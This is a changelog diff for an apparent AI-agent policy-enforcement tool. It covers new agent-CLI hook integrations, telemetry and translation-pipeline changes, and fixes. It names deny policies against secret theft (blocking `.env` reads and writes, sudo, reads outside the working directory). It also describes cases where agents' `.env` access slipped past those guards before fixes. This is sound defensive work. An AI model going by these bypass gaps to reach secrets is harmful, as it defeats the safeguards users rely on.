- Stop the Pi integration tests asserting on the checkout directory's name, so the suite is green from a clone named anything other than `failproofai` (#569). `pi.writeHookEntries` registers a *package directory* — `/pi-extension` — and deliberately ignores the binary path it is handed, because Pi loads extension packages rather than executables. Two assertions checked that the resulting entry contained the literal string `"failproofai"`, which only held because the produced path is derived from the package root and CI's `actions/checkout` names the directory after the repo; cloning to `fpai/` failed with `expected '/…/fpai/pi-extension' to contain 'failproofai'`. Worse, the check tested nothing it appeared to: the binary-path argument could have been ignored entirely — as in fact it is — and it would still have passed. The unit assertion now goes through `pi.isFailproofaiHook(entry)`, pinning the property that actually matters (install and uninstall agree on what a failproofai entry looks like) and catching a genuine regression in the detection predicate, which a substring check never could; the e2e assertion resolves the entry the way Pi does, relative to the directory holding `settings.json`, and asserts it lands on a directory that really contains the extension's `index.ts` and `package.json`. The reporter found the unit occurrence; the e2e one at `pi-integration.e2e.test.ts` failed identically and is fixed too, since `bun run test:run` does not cover e2e and a partial fix would have left the suite red from a renamed checkout. No production behaviour changes — entry detection already handled arbitrary install paths via its `pi-extension$` match, verified against absolute, relative, and third-party forms. (#576)
+
- Draw the terminal logomark's two uprights the same width, and shrink it. The right-hand bar was drawn as three columns against the left-hand upright's four, so the mark was visibly lopsided at every terminal size — in the source artwork both bars are 93px of a 379px canvas, i.e. the same width, and the right one had simply been drawn a column narrow. The grid is now 13×20 rather than 16×22, taking the brand block from 14 printed lines to 13 (the logomark itself from 11 to 10) so it claims less of the screen on the wizard intro and the dashboard launch banner. Every shape survives at full fidelity — the flower keeps its six-row taper, the cross keeps all three printed rows and the rounded edges top and bottom, both stay concentric with the upright beneath them, and the gap under the flower and the bar flush to the right edge are intact; the one element spent is the stem between cross and base, so the cross now meets the base bar directly. Two constraints made that possible and are worth knowing before editing the grid: the uprights must stay an *even* number of columns, because the flower and cross are centred on them and an odd upright forces odd widths that pinch the flower to a one-column spike; and the cross needs four grid rows rather than three, because a colour boundary on an odd row is what renders its rounded edge, so an odd row count keeps the top edge but loses the bottom one. Resampling the artwork bitmap directly was tried first and is a dead end at this size — it dissolves the flower into a featureless blob and flattens the cross's rounding, so the grid is hand-placed from the artwork's measured proportions. Two invariants are now pinned by tests (both uprights equal width, the cross wider than its upright) since the width error shipped unnoticed, and the grid carries a comment recording the half-block editing rule that produces the cross's rounded corners: a colour boundary on an odd row renders mid-cell, which rounds the cross but would leave the flower looking detached. (#576)
+
- Validate every translated docs page at generation time and re-translate with the validation error fed back, instead of discovering the breakage in `consolidate` after all 14 language jobs have already spent their tokens. The daily `translate-docs` run kept failing (5 of the last 15 runs) on errors like `de/agenteye/cli-skill.mdx: There is a syntax error in your frontmatter on line 2` — the model re-emitting an escaped inner quote from a `description:` value as an unescaped `"`, which breaks the YAML. The repo's own `validate:mdx` net could not catch this class at all: `findMdxParseError` blanks the frontmatter before compiling, so a frontmatter YAML error was structurally invisible to it and only the last-step `mintlify validate` in `consolidate` ever saw it — one bad page in one language sank the whole batch and nothing published. `validate-mdx.ts` now exports `findFrontmatterError` (YAML parse via the already-present `yaml` dep, file-relative line numbers) and `findPageError` (frontmatter then body), and `validate:mdx` runs the latter, so the CI net is now a strict superset of `mintlify validate` across all 647 pages. At generation time each translator renders the exact bytes it will write (sanitizers + link-rewrite for MDX pages, disclaimer + RTL `` wrapper for the README) and validates them through a shared `findTranslationError` — frontmatter YAML, frontmatter key-parity against the English source (catches a dropped or renamed block, which is still valid YAML and which `mintlify` tolerates), and MDX body — re-translating with the error appended to the prompt until it passes or `TRANSLATE_MAX_ATTEMPTS` (integer ≥ 1, default 3, distinct from the SDK-transport `TRANSLATE_MAX_RETRIES`) is reached. On exhaustion it throws *before* the write, so a broken page is never written to disk and never cached — the cache keys only the English source hash, so a cached-invalid page could otherwise never self-heal. System-prompt rule 3 now carries the same frontmatter-quoting guidance rule 2 has always given for JSX attributes, cutting the failure off at the source. (#570)
+
- Clear the dashboard `CopyButton`'s “copied ✓” revert timer properly: a rapid re-click now cancels the previous click's still-armed timer before arming its own (so the checkmark can't flip back to the copy icon early), and a `useEffect` cleanup cancels it on unmount — no more React state-update-on-an-unmounted-component warning when the sessions table filters a row away mid-window. The timer id lives in a `useRef`. (#528)
+
- Stop shipping npm lifecycle scripts, removing the `npm warn` every install printed. npm 12 (`allowScripts`, released 2026-07-08 and now the `latest` dist-tag) blocks dependency install scripts by default, so `npm install failproofai` warned `1 package had install scripts blocked … failproofai@… (postinstall: node scripts/postinstall.mjs)` and silently skipped the script; npm 11.16+ prints the advisory `allow-scripts` variant and still runs it. `allowScripts` is purely consumer-side — a package cannot opt itself in (verified: a package declaring `allowScripts`/`trustedDependencies` for *itself* is ignored) — so the only fix is to ship no install scripts. The `postinstall` script's install telemetry (`first_install` / `version_changed` / `package_installed`, with identical event names and properties) now fires from the CLI's first non-hook invocation via `lib/install-check.ts`, reporting at most once per version and no-op'ing on the steady-state path; it is deliberately kept out of `bin/failproofai.mjs`'s `--hook` fast path, which runs on every tool call. This also *recovers* telemetry already being dropped for bun, pnpm, and Yarn ≥4.14 users, which have blocked install scripts for some time. The script's `server.js` check and shadowed-PATH diagnosis were redundant — `scripts/launch.ts` already performs both at launch, with a better error message. `package_installed` now measures install→activation rather than raw installs, and same-version reinstalls (`direction: "reinstall"`) are no longer reported, as the CLI has no signal to detect them. The install-time welcome message is dropped; the `config` wizard's first-run redirect already handles onboarding. (#560)
+
- Remove `scripts/preuninstall.mjs`, which never ran. npm honours no uninstall lifecycle scripts (verified with a probe package: `postinstall` fired, `preuninstall` did not), so the hook cleanup it appeared to perform has never happened — uninstalling failproofai leaves `__failproofai_hook__` entries behind in settings files. Removing the dead code makes the gap visible; cleanup needs an explicit `failproofai policies --uninstall` before removing the package. (#560)
+
- `formatDuration` now rounds to the precision the final output uses *before* bucketing into seconds/minutes/hours, so a remainder that rounds to exactly 60 carries into the next unit instead of rendering as an invalid component like `60.0s`, `1m 60s`, or `59m 60s`. (#529)
+
- Stop this repo's dogfood hooks from silently no-op'ing when `bun` isn't on the hook's PATH. All 75 hook commands across the 8 project-level agent-CLI configs fired `bun bin/failproofai.mjs --hook
` directly, so whenever the agent CLI was handed a PATH without bun — `npm i -g bun` installs into a single nvm version's bin dir, so `nvm use ` drops it; a macOS GUI launch inherits a launchd PATH built without `~/.zshrc` — every event died with exit 127 and the session ran with **zero** policy enforcement, saying nothing. The configs now call a dev-only `node scripts/dev-hook.mjs` launcher that locates bun across `PATH`, `$BUN_INSTALL/bin`, `~/.bun/bin`, the node execPath sibling, Homebrew/`/usr/local`, and every `~/.nvm/versions/node/*/bin`; installs it via npm if it is genuinely absent; builds `dist/index.js` when missing so `.failproofai/policies/*.mjs` can resolve `import ... from 'failproofai'`; then re-execs the real binary with `stdio: "inherit"` (byte-exact stdout — the deny contracts are JSON on stdout) and propagates the exit code verbatim (2 still means deny; signals map to 128+signum as `sh` did). A `command -v node` pre-check fronts each command so a missing node is a loud one-liner rather than silence — exit 2 on tool events, exit 1 on stop-class events, where exit 2 would mean "retry" and loop forever. The `.opencode` dev shim shares the same resolver and no longer reports a never-run hook as `exitCode: 0` (a silent allow). Production users on `npx -y failproofai` are unaffected. A new drift-guard test reads every committed dogfood config and asserts the launcher form, guard, exit-code split, and per-file command counts — these configs are generated by nothing and read by nothing, which is how #337's opencode shim drifted and silently no-op'd `block-read-outside-cwd` repo-wide. (#564)
+
- Report the onboarding auto-audit to PostHog. `runPostSetupAudit()` — the audit that runs automatically at the end of first-run setup, and therefore the **first audit every new user ever runs** — emitted no telemetry at all, while an explicit `failproofai audit` reported `cli_audit_started` / `cli_audit_completed` / `cli_audit_failed`. First-run audits were invisible, so the audit funnel silently undercounted exactly the activation moment it exists to measure (confirmed live: a fresh install's auto-audit wrote its dashboard cache and reached PostHog with nothing). It now emits the same three events, tagged `source: "onboarding"` against the existing `source: "cli"`, so the two paths stay distinguishable. `cli_audit_completed` fires before the empty-history return, matching `runAuditCli`, so a fresh user with no agent history is still counted; `cli_audit_failed` is awaited because the function returns straight into the dashboard boot, which would otherwise race a fire-and-forget send. The completed-event properties are now built by one shared helper so the two entry points cannot drift. Onboarding remains best-effort: it never throws and never exits. (#562)
+
- Report only our own dashboard failures, not browser extensions'. `GlobalErrorListeners` registers page-global `error` / `unhandledrejection` handlers, and browser extensions inject content scripts into the same page and share the same `window` — so their failures reached our listeners and went to PostHog stamped `$lib: failproofai-web`, as though the dashboard had thrown them. Observed live: MetaMask's "Failed to connect to MetaMask" (`error_name: "i"`, its minified class) arriving as a failproofai `unhandled_rejection` on `/policies`. Extensions are user-installed and open-ended, so the noise was unbounded, depended on which extensions a user happened to run rather than on our code, and would eventually have drowned the real signal these listeners exist to catch. Both handlers now attribute the error before reporting (new `lib/error-origin.ts`) and report it only when it traces back to our own origin. Attribution is positive rather than a denylist of known extensions, so an unrecognised extension is filtered by default; the match is on the shared `-extension://` suffix, so a new browser's scheme needs no code change. Unattributable errors (cross-origin `"Script error."`, rejections of non-Error values) are dropped too — there is nothing in them to debug. React render errors are unaffected: the error boundaries report `client_error` directly, and React only invokes those for errors thrown inside our own tree. (#560)
+
- Delete translated pages whose English source no longer exists, and stop them coming back: `translate-docs` gained a `--prune` mode that runs by default on every translation pass (`--no-prune` opts out) and as an explicit step in the `consolidate` job — that job re-checks-out `main` and *overlays* the artifacts, so a prune done only in the per-language jobs would be undone. Translation only ever moved forward, so the 11 pages the AgentEye syncs removed upstream left 154 orphans (11 × 14 locales) that `--update-nav` dropped from the sidebar but Mintlify still served and indexed — non-English readers could land on docs for a deleted feature with no way out. A repo invariant test now fails if any translation outlives its English source. (#556)
+
- Move the docs auto-translation daily cron from 06:00 UTC to 11:05 AM IST (05:35 UTC, encoded as `35 5 * * *` since GitHub Actions cron is always UTC). (#553)
### Features
@@ -565,42 +860,71 @@ never "blocked".
### Features
- Bump the pinned `failproofai/oss` gitlink in `FailproofAI/agenteye` as well as `FailproofAI/platform` on every merge into this repo's `main`. AgentEye now carries the same `failproofai/oss` submodule the platform monorepo does, so `bump-platform-submodule.yml`'s single job became a matrix over both downstreams — everything but the repo name was already downstream-agnostic (same submodule path, same auth, same rebase-and-retry push loop). No new credentials: both repos sit behind the same org-level `failproofai-rules` ruleset, on which the version-bot App is already a bypass actor. Concurrency moved from workflow-level to job-level so it can key off `matrix.repo`, which keeps the "back-to-back merges produce sequential bumps" guarantee per repo while letting the two downstreams bump in parallel instead of queueing behind each other. (#558)
+
- Brand the dashboard launch splash (bare `failproofai`) to match the `configure` wizard: the plain emoji title/version block is replaced with the half-block logomark, the `failproof ai` wordmark (pink "il"), the tagline, and a tidy teal-labelled version/links column (24-bit color where advertised, monochrome shape otherwise, plain text off a TTY). The logomark rendering is now shared via `renderBrandLogo` / `renderLaunchBanner` in `tui.ts`, so the wizard intro and the launch banner stay in lockstep. (#516)
+
- Add an "Everything available" row to the wizard's assistants step that protects every supported CLI (detected + set-up-ahead) in one tick — it wins over the individual boxes, mirroring the policies "Everything" option. Detected CLIs stay pre-selected, so the default (hit ↵) is unchanged. (#516)
+
- Make the wizard's "What should we guard against?" step a multi-select, so bundles combine: tick any mix of Secrets & data / Git safety / Ship discipline / Cloud & infra and the enabled set is the **union** of their policies (deduped), or tick **Everything** for the full set (it wins over any presets). Dropped only the "Custom…" entry — an action-as-checkbox that didn't fit the list (the full searchable picker stays available via `failproofai policies --install`). Replaces the single-choice radio; `resolvePolicySource` → `resolvePresetSelection`. (#516)
+
- First-run onboarding: bare `failproofai` now flows setup → audit → dashboard. On the first invocation it runs the `config` wizard, then the post-setup audit, and **then boots the dashboard** (previously it exited after the wizard); every later `failproofai` goes straight to the dashboard. So a fresh install is one command: `failproofai`. The audit runs **only** on this first-run onboarding path — the explicit `failproofai config` command applies and exits without auditing. (#516)
+
- Run the audit pipeline automatically at the end of first-run onboarding, right before the dashboard boots. After the fresh-install setup applies, it kicks off the same scan `failproofai audit` runs — walking the agent-CLI transcript history, replaying it through the builtin policies, and pre-warming the dashboard cache (`~/.failproofai/audit-dashboard.json`) — so the user immediately sees "N patterns slipping through · M already blocked" and the dashboard renders instantly. Prints "failproofai audit now running · ctrl+c to stop" with the animated stages; the scan runs to completion and Ctrl+C interrupts it the usual way. Best-effort (never blocks or breaks a completed setup), opt-out via `FAILPROOFAI_NO_AUTO_AUDIT=1`. New exported `runPostSetupAudit()` in the audit CLI, invoked from the first-run path only. (#516)
+
- Add `failproofai config` (aliases `configure`, `setup`), an interactive setup launcher that replaces flag-juggling with a guided 4-step wizard: **① Where** (global vs this project) → **② Assistants** (multi-select of detected + install-ahead agent CLIs, sourced dynamically from `INTEGRATION_TYPES` so it lists all 12 current CLIs) → **③ Policies** (themed presets — Secrets & data / Git safety / Ship discipline / Cloud & infra — plus Everything or a Custom picker) → **④ Review** (shows the exact files it will change, then applies). One flow writes both the agent hook registration and the enabled-policy config at the chosen scope. Selections **replace** the enabled set at that scope (new opt-in `replace` flag on `installHooks`; existing callers keep their additive behavior). The wizard wears the befailproof.ai identity — it opens with the pixel logomark (the teal policy-flower + pink cross and bar, downscaled from the real artwork into half-block characters) over the wordmark, and the palette is pink-forward like the site: pink drives selection/enabled (caret, checkboxes, active rows, outro), teal stays the flower and the step spine (24-bit color where `COLORTERM` advertises it, basic-ANSI fallback otherwise). The clack-style flow threads a left gutter through step nodes, collapses answered steps into a persistent log (many selections summarize to a count, e.g. `10 assistants · …`), and ends on a pink └ outro. The checklist now windows to a fixed viewport with a teal `❯` caret so all 12 CLIs fit any terminal, hints ellipsize instead of hard-cutting mid-word, and choice hints align into a second column. The searchable custom-policy picker (`promptPolicySelection`, also used by `policies --install`) shares the same brand palette and layout: aligned name/description columns, dim category dividers, a live selected-count, and Enter-to-save (Space toggles). A bare `failproofai` on first run redirects into the wizard and keeps doing so until setup is completed: the `~/.failproofai/.launcher-configured` marker is written **only on a finished apply**, after which bare `failproofai` opens the dashboard (replacing and removing the old `first-run-nudge`). `postinstall` now prints a clean "run `failproofai config`" prompt. New modules `src/hooks/{configure-wizard,policy-presets,tui}.ts` and tests. (#516)
+
- Add Goose (codename goose, Block) as the 12th CLI/agent integration — **dual-pillar** like Hermes/OpenClaw/Factory/Devin/Antigravity: real-time policy enforcement **and** offline audit + dashboard. Goose is a **local, MCP-based** dev-agent; enforcement uses its **"hooks" system** (the cross-agent **Open Plugins** spec) — an auto-discovered plugin dir at `~/.agents/plugins/failproofai/hooks/hooks.json` (user) / `/.agents/plugins/failproofai/hooks/hooks.json` (project) whose `command` runs `failproofai --hook --cli goose`. The entire contract was verified **live against goose v1.43.0**: (1) Deny is `{"decision":"block","reason"}` JSON on stdout at exit 0 (also exit 2), honored on **`PreToolUse` ONLY** (shipped goose ≥ **v1.37.0**, PR block/goose#9304); any other error fails **open**. `PreToolUse` fires for the shell tool AND **inside delegated subagents**, so it is the single sufficient deny point. Goose has **no `Stop` event** (the 5 `require-*-before-stop` builtins are inapplicable, like Hermes) and does not honor deny on `UserPromptSubmit`/`PostToolUse`. (2) Event names are already PascalCase (no `GOOSE_EVENT_MAP`, no handler branch), but the stdin payload uses `event`/`working_dir` — the handler normalizes `working_dir`→`cwd`. (3) Tool names arrive **both** bare (`shell`, `write`, `edit`, `view`, `read_image`, `tree`, `delegate`) **and** `__` namespaced (`todo__todo_write`); `GOOSE_TOOL_MAP` covers both, and `GOOSE_TOOL_INPUT_MAP` maps path-bearing tools' `path`/`source` → `file_path`. `instruct()` degrades to allow + stderr note (no additional-context channel). The installer just **drops the plugin dir** — Goose auto-discovers it and self-registers it into `config.yaml` (no config edit needed). Install via `failproofai policies --install --cli goose` (user + project scope). Also surfaces Goose sessions in the dashboard's audit + history browser: reads the SQLite DB at `~/.local/share/goose/sessions/sessions.db` (schema_version 15; `sessions` rows carry a real `working_dir` → per-project cwd grouping like Devin; `messages.content_json` is a Claude-style typed-block array parsed via the same block model) — `session_type='hidden'` (`--no-session`) scratch runs are filtered — via `lib/goose-sessions.ts` (pure, unit-tested parser) and `lib/goose-projects.ts`, wired through `src/audit/cli-adapters/goose.ts`, `lib/cli-registry.ts` (lime badge), `lib/projects.ts`, `lib/download-session.ts` (SQLite→JSONL export), and the `app/project/[name]` routes. `GOOSE_HOME` / `GOOSE_DB_PATH` override the data dir for tests. (#508)
+
- Add Antigravity CLI (`agy`) as the 11th CLI/agent integration — **dual-pillar** like Hermes/OpenClaw/Factory/Devin: real-time policy enforcement **and** offline audit + dashboard. Unlike Factory/Devin, Antigravity has its **OWN** hook contract (NOT a Claude-clone), verified **live against agy v1.1.2**. (1) `hooks.json` uses a **NAMED-hook schema** — the top-level key is a hook *name* (`"failproofai"`) whose value is an event→handlers map; tool events (`PreToolUse`/`PostToolUse`) wrap handlers in `{matcher:"*", hooks:[…]}`, while `PreInvocation`/`Stop` are **flat** handler arrays. Config at `~/.gemini/config/hooks.json` (user) / `/.agents/hooks.json` (project); no `local` scope. (2) The stdin payload is **camelCase protojson** (`toolCall:{name,args}`, `conversationId`, `workspacePaths`, `transcriptPath`) — the handler normalizes it to canonical snake_case before policies run; `run_command`'s args are PascalCase (`CommandLine`/`Cwd`) → canonicalized via `ANTIGRAVITY_TOOL_INPUT_MAP`. (3) Response shapes are **Antigravity's own**: deny → `{decision:"deny", reason}` (exit 0); deny/instruct on `Stop` → `{decision:"continue", reason}` (re-enters the loop, so the 5 `require-*-before-stop` builtins enforce); instruct on `PreInvocation` (→ `UserPromptSubmit`) → `{injectSteps:[{ephemeralMessage}]}`. Adds `ANTIGRAVITY_EVENT_MAP` (`PreInvocation→UserPromptSubmit`) + `ANTIGRAVITY_TOOL_MAP` (`run_command→Bash`, `view_file→Read`, …). Install via `failproofai policies --install --cli antigravity` (user + project scope). Also surfaces Antigravity sessions in the dashboard's audit + history browser: reads the plain-JSONL transcripts at `~/.gemini/antigravity-cli/brain//.system_generated/logs/transcript_full.jsonl` (pairing `PLANNER_RESPONSE` tool_calls with their following result step) via `lib/antigravity-sessions.ts` (pure, unit-tested parser) and the SQLite conversation index (`conversation_summaries.db`) via `lib/antigravity-projects.ts`, wired through `src/audit/cli-adapters/antigravity.ts`, `lib/cli-registry.ts` (cyan badge), `lib/projects.ts`, `lib/download-session.ts` (real-file download), and the `app/project/[name]` routes. `ANTIGRAVITY_HOME` overrides the data dir for tests. (#508)
+
- Add Devin CLI (`devin`, Cognition) as the 10th CLI/agent integration — **dual-pillar** like Hermes/OpenClaw/Factory: real-time policy enforcement **and** offline audit + dashboard. Devin is a **pure Claude-clone** verified **live against devin v3000.1.27** — same PascalCase event names (no `DEVIN_EVENT_MAP`, no handler branch), same snake_case stdin payload (no normalization), and the standard Claude `"hooks"`-wrapper config schema. Config lives under the `"hooks"` key of `~/.config/devin/config.json` (user) / `/.devin/config.json` (project) — merge-preserving so the file's other keys (`org_id`, `theme_mode`, …) survive. Deny is `{"decision":"block","reason"}` JSON on stdout at exit 0 for **every** event (verified — the block overrode `--permission-mode dangerous`); on `Stop` the reason carries the MANDATORY-ACTION force-retry wording, so the 5 `require-*-before-stop` builtins enforce. Adds `DEVIN_TOOL_MAP` (`exec→Bash`; `tool_input.command` already canonical). Install via `failproofai policies --install --cli devin` (user + project scope). Also surfaces Devin sessions in the dashboard's audit + history browser: reads the SQLite DB at `~/.local/share/devin/cli/sessions.db` (`sessions` table carries a real `working_directory` → per-project cwd grouping like Claude; `message_nodes.chat_message` is OpenAI-style JSON) via `lib/devin-sessions.ts` (pure, unit-tested parser) and `lib/devin-projects.ts`, wired through `src/audit/cli-adapters/devin.ts`, `lib/cli-registry.ts` (violet badge), `lib/projects.ts`, `lib/download-session.ts` (SQLite→JSONL export), and the `app/project/[name]` routes. `DEVIN_HOME` / `DEVIN_DB_PATH` override the data dir for tests. (#508)
+
- Add Factory (droid) as the 9th CLI/agent integration — **dual-pillar** like Hermes/OpenClaw: real-time policy enforcement **and** offline audit + dashboard. droid ships a Claude-compatible external-command hook system, but with two schema quirks verified **live against droid v0.171.0**: (1) event names live at the **TOP LEVEL** of `~/.factory/hooks.json` — there is **no `"hooks"` wrapper** (droid rejects one with `WARN Ignoring unknown hook event keys keys:["hooks"]`); tool events (`PreToolUse`/`PostToolUse`) carry `"matcher": "*"`, non-tool events omit it. (2) Deny is driven by **exit code 2 + stderr**, not a JSON decision (droid ignores `{decision:…}` on tool events: `Hook returned exit code 2, throwing ToolExecutionControlError`); the `Stop` event is the exception — there droid honors `{decision:"block", reason}` on stdout at exit 0. Event names are already PascalCase (no `FACTORY_EVENT_MAP`, no handler branch) and the payload is Claude snake_case (no normalization). Adds `FACTORY_TOOL_MAP` (`Execute→Bash`, `Create→Write`, `FetchUrl→WebFetch`, …). Install via `failproofai policies --install --cli factory` (user + project scope). Also surfaces droid sessions in the dashboard's audit + history browser: reads the real JSONL transcripts at `~/.factory/sessions//.jsonl` (Claude-style encoded-cwd folders) via `lib/factory-sessions.ts` (pure, unit-tested parser) and `lib/factory-projects.ts`, wired through `src/audit/cli-adapters/factory.ts`, `lib/cli-registry.ts` (rose badge), `lib/projects.ts`, `lib/download-session.ts` (real-file download), and the `app/project/[name]` routes. (#508)
+
- Remove the Gemini CLI integration entirely. Google retired Gemini CLI (consumer accounts stopped serving on 2026-06-18) in favor of the closed-source **Antigravity CLI** (`agy`), which failproofai is migrating to. Drops the `gemini` id from `INTEGRATION_TYPES`, the `INTEGRATIONS`/`ADAPTERS` registries, `KNOWN_CLI_IDS`, all `GEMINI_*` event/tool maps, the `gemini` audit adapter + `lib/gemini-{projects,sessions}.ts`, the `--cli gemini` install/audit paths, and the dashboard's Gemini session provider. The `~/.gemini/` config-file protections in `block-*` builtins are **kept and re-pointed at Antigravity** (which reuses that directory). Fixes a latent bug where OpenClaw sessions without a cwd were mislabeled "Gemini CLI" in the session viewer. (#508)
- Add OpenClaw (openclaw gateway) as the 9th CLI/agent integration — **dual-pillar** like Hermes: real-time policy enforcement **and** offline audit + dashboard. Enforcement uses OpenClaw's **in-process plugin hooks** (its file-based "internal hooks" are observation-only and cannot block), so failproofai ships a static plugin package (`openclaw-plugin/`, like `pi-extension/`) that **async-spawns** the binary (never `spawnSync` — the gateway is long-running and multi-channel) and maps a flat `{permission, reason}` verdict to each hook's native return shape: `before_tool_call → {block:true, blockReason}` (PreToolUse), `before_agent_run → {outcome:"block", reason}` (UserPromptSubmit), and `before_agent_finalize → {action:"revise", reason}` (Stop — a **real turn-end gate**, unlike Hermes which has none, so the 5 `require-*-before-stop` builtins enforce). Install (`failproofai policies --install --cli openclaw`) registers the plugin in `~/.openclaw/openclaw.json` (`plugins.load.paths` + `plugins.entries.failproofai` with `hooks.allowConversationAccess: true`), preserving operator config. Adds `OPENCLAW_EVENT_MAP` / `OPENCLAW_TOOL_MAP` (`exec→Bash`, `read→Read`, …) / `OPENCLAW_TOOL_INPUT_MAP`; canonicalization stays binary-side (no inline maps in the shim). **User-scope only** (OpenClaw has no project config). Verified live against **openclaw v2026.7.1** (tool block confirmed end-to-end). (#489)
+
- Surface OpenClaw sessions in the dashboard's audit + history browser: reads the real JSONL transcripts at `~/.openclaw/agents//sessions/.jsonl` (skipping the heavy `.trajectory.jsonl` OTel traces) via `lib/openclaw-sessions.ts` (a pure, unit-tested type-discriminated parser that pairs assistant `toolCall` blocks with their `toolResult` by `toolCallId`) and `lib/openclaw-projects.ts` (reads the `sessions.json` index, groups by agentId into `openclaw-` projects, parses channel metadata from the sessionKey). Wired through `src/audit/cli-adapters/openclaw.ts`, `lib/cli-registry.ts` (teal badge), `lib/projects.ts`, `lib/download-session.ts` (real-file download — no synthesis needed), and the `app/project/[name]` routes. (#489)
### Fixes
- Move the docs auto-translation off the per-push trigger onto a daily scheduled run (`cron: 0 6 * * *`, 06:00 UTC): running the full 14-language matrix on every doc commit to `main` was expensive, so a day's English-source edits are now coalesced into one run. The content-hash cache (`scripts/translate-docs/.translation-cache.json`) still limits token spend to the pages whose source actually changed since the last successful run — so most days translate only a handful of pages (or none) — and manual `workflow_dispatch` (with `force`/`languages`) is unchanged. (#547)
+
- Fix the auto-translate job failing repeatedly on the large AgentEye docs. `translateContent` capped `max_tokens` at 16384, but the biggest English pages (e.g. `agenteye/kubernetes-deployment.mdx` at ~1400 lines) translate to well beyond that for verbose target languages — so the response was silently truncated mid-MDX, leaving an unbalanced `{` or an unterminated JSX expression that failed `mintlify validate` in the `consolidate` job (and, for the very largest pages, tripped the proxy with a "stream ended" error in the per-language `translate` job). Worse, the truncated output was written to disk and cached as if complete, so a re-run served the same broken page. Raises the ceiling to 64000 (Claude Haiku 4.5's max output for Tier 2/3 languages; well within Claude Sonnet 4.6's 128000 for Tier 1), overridable via the new `TRANSLATE_MAX_TOKENS` env var, and — as a backstop — throws when `stop_reason === "max_tokens"` so a truncated page is never written or cached and its language is excluded from the publish step instead of shipping malformed MDX. (#546)
+
- Fix the Mintlify docs deployment failing on every `docs/i18n/README.*.md` translation. Mintlify parses each page as MDX, where the README's top-level HTML comment (``) is a hard syntax error — it rejects the leading `!` of `` inside code fences literal (e.g. the AgentEye collector plist sample) — and the 14 committed translations are regenerated to match. Also aligns `readme-translator.ts` with `translateMdxPage` by running `sanitizeJsxAttributes` over its JSX-bearing output. (#535)
+
- Close the gap that let the above reach `main`: the `validate:mdx` CI safety net (`scripts/validate-mdx.ts`) only walked `.mdx` files, but Mintlify parses `.md` pages as MDX too — so the `docs/i18n/README.*.md` breakage sailed past CI and only failed at the post-merge deploy. `collectMdxFiles` now validates `.md` pages as well, so this whole class of translation breakage fails on the PR instead. (#535)
+
- Fix Copilot CLI file policies silently allowing file access (re-verified live against Copilot CLI 1.0.71, whose hook contract drifted since the 1.0.41 verification). Copilot's snake_case hook events deliver canonical tool names but its own input keys — Read `{path}`, Write `{path, file_text}`, Edit `{path, old_str, new_str}` — so path/content builtins like `block-env-files` never fired (a live `.env` read was observed passing). Adds `COPILOT_TOOL_INPUT_MAP` mapping them to `file_path`/`content`/`old_string`/`new_string`. Also normalizes the `permissionRequest` event's camelCase payload (`toolName`/`toolInput`/`sessionId`, lowercase tool names) in the handler so PermissionRequest-matched policies (e.g. `block-sudo`'s escalation guard) fire instead of seeing a null tool name. Verified end-to-end: the previously-passing `.env` read replay is now denied, and Copilot 1.0.71 honors the deny (`code:"denied"`, tool never runs). (#516)
+
- Make documentation translation publishing atomic: require every locale and cache artifact, pin the Mintlify validator, validate the final overlaid PR tree, and emit the canonical `pt-BR` Mintlify locale while preserving `pt-br` paths.
+
- Make the dashboard header responsive. On narrow windows the single-row header crushed its children: the active nav tab clipped mid-word ("policie…"), the version string wrapped mid-token ("V0.0.14-/BETA.1"), and "Reach Us" broke onto two lines. The version + section cluster now never wraps mid-token and sheds entirely below 900px (it duplicates the active-tab highlight), tab/header padding tightens, and below 620px the actions row wraps under the nav right-aligned instead of crushing it. Verified headless at 1500/760/480px. (#516)
+
- Fix the Pi live `pi list` roundtrip e2e tests against pi-coding-agent ≥0.80: newer Pi no longer trusts project-local `.pi/settings.json` by default, so the tests now detect the installed Pi version and pass `pi list --approve` on ≥0.80 (older Pi trusts project settings without the flag and would reject it) to include the project-scope package failproofai's installer writes (previously `pi list` printed "No packages installed." — failing the install roundtrip and making the uninstall roundtrip pass vacuously). Gated behind `detectPiVersion()`, so it only runs where `pi` is installed. (#491)
+
- Isolate `HOME` in the e2e CLI runner so config-mutating commands no longer touch the developer's real config during `bun run test:e2e`. `cli-args.e2e.test.ts` exercises `policies --install/--uninstall` via `runCli`, which spawned the binary with the real `HOME` — so every e2e run wrote to the real `~/.failproofai/policies-config.json`. `runCli` now points `HOME`/`USERPROFILE` at a throwaway temp dir, matching how `hook-runner` and the integration-test spawns already isolate. (#516)
+
- Fix Antigravity file writes slipping past path/content policies. `ANTIGRAVITY_TOOL_MAP` had best-effort tool names; the real ones (verified against the `agy` binary + live transcripts) are `write_to_file` (not `write_file`), `list_dir` (not `list_directory`), and `find_by_name` (not `find_filepath`), and there was **no** input-key map for file tools — so `write_to_file`'s path (delivered as `TargetFile`) never became `file_path` and `block-env-files` / `block-secrets-write` silently allowed `.env` writes on Antigravity. Corrected the tool names and added `Write`/`Edit`/`Read` input maps (`TargetFile`→`file_path`, `CodeContent`→`content`). Verified live: `agy` now denies a `.env` write. (#508)
+
- Keep informational allow-notes out of the agent-facing hook stdout on events with no additional-context channel (`Stop`, `SubagentStop`, `Session*`, `PreCompact`, …). Previously a *passing* `Stop` emitted its allow-reasons as `{reason}` on stdout, so agents like droid rendered a "…skipping commit check…skipping PR check…" wall on a perfectly fine turn. Those notes now go to stderr + the activity store only; stdout stays clean on channel-less events. (#508)
+
- Fix duplicated Devin session transcripts in the dashboard. Devin stores a session's messages as a **forest** (`node_id`/`parent_node_id`) and replays earlier context under fresh roots each turn, so a 10-message conversation is stored as 26-31 nodes — the parser read every node and rendered each message 2-4×. Now reconstructs the real conversation (walk `parent_node_id` from the newest leaf to its root, reversed) via `devinActiveConversationPath`. (#508)
### Docs
- Migrate the community Discord link from `discord.gg/2zjBZP7yQJ` to the branded `https://discord.befailproof.ai/` everywhere it's user-facing: the `failproofai --help` LINKS banner, the branded launch banner (`tui.ts`), the dashboard "Reach Us" dropdown, the docs-site footer, and the README community badge (English + 15 translations). (#539)
+
- Restructure the docs-site navigation so the two products are top-level tabs — **Agent Observability** (AgentEye) and **Agent Enforcement** (FailproofAI) — instead of a product dropdown; each product's Docs/Examples groups move into the sidebar and the tab icons are dropped. Verified idempotent against the `translate-docs` nav regenerator and safe from the AgentEye doc-sync pipeline (which never touches `docs.json`). (#517)
+
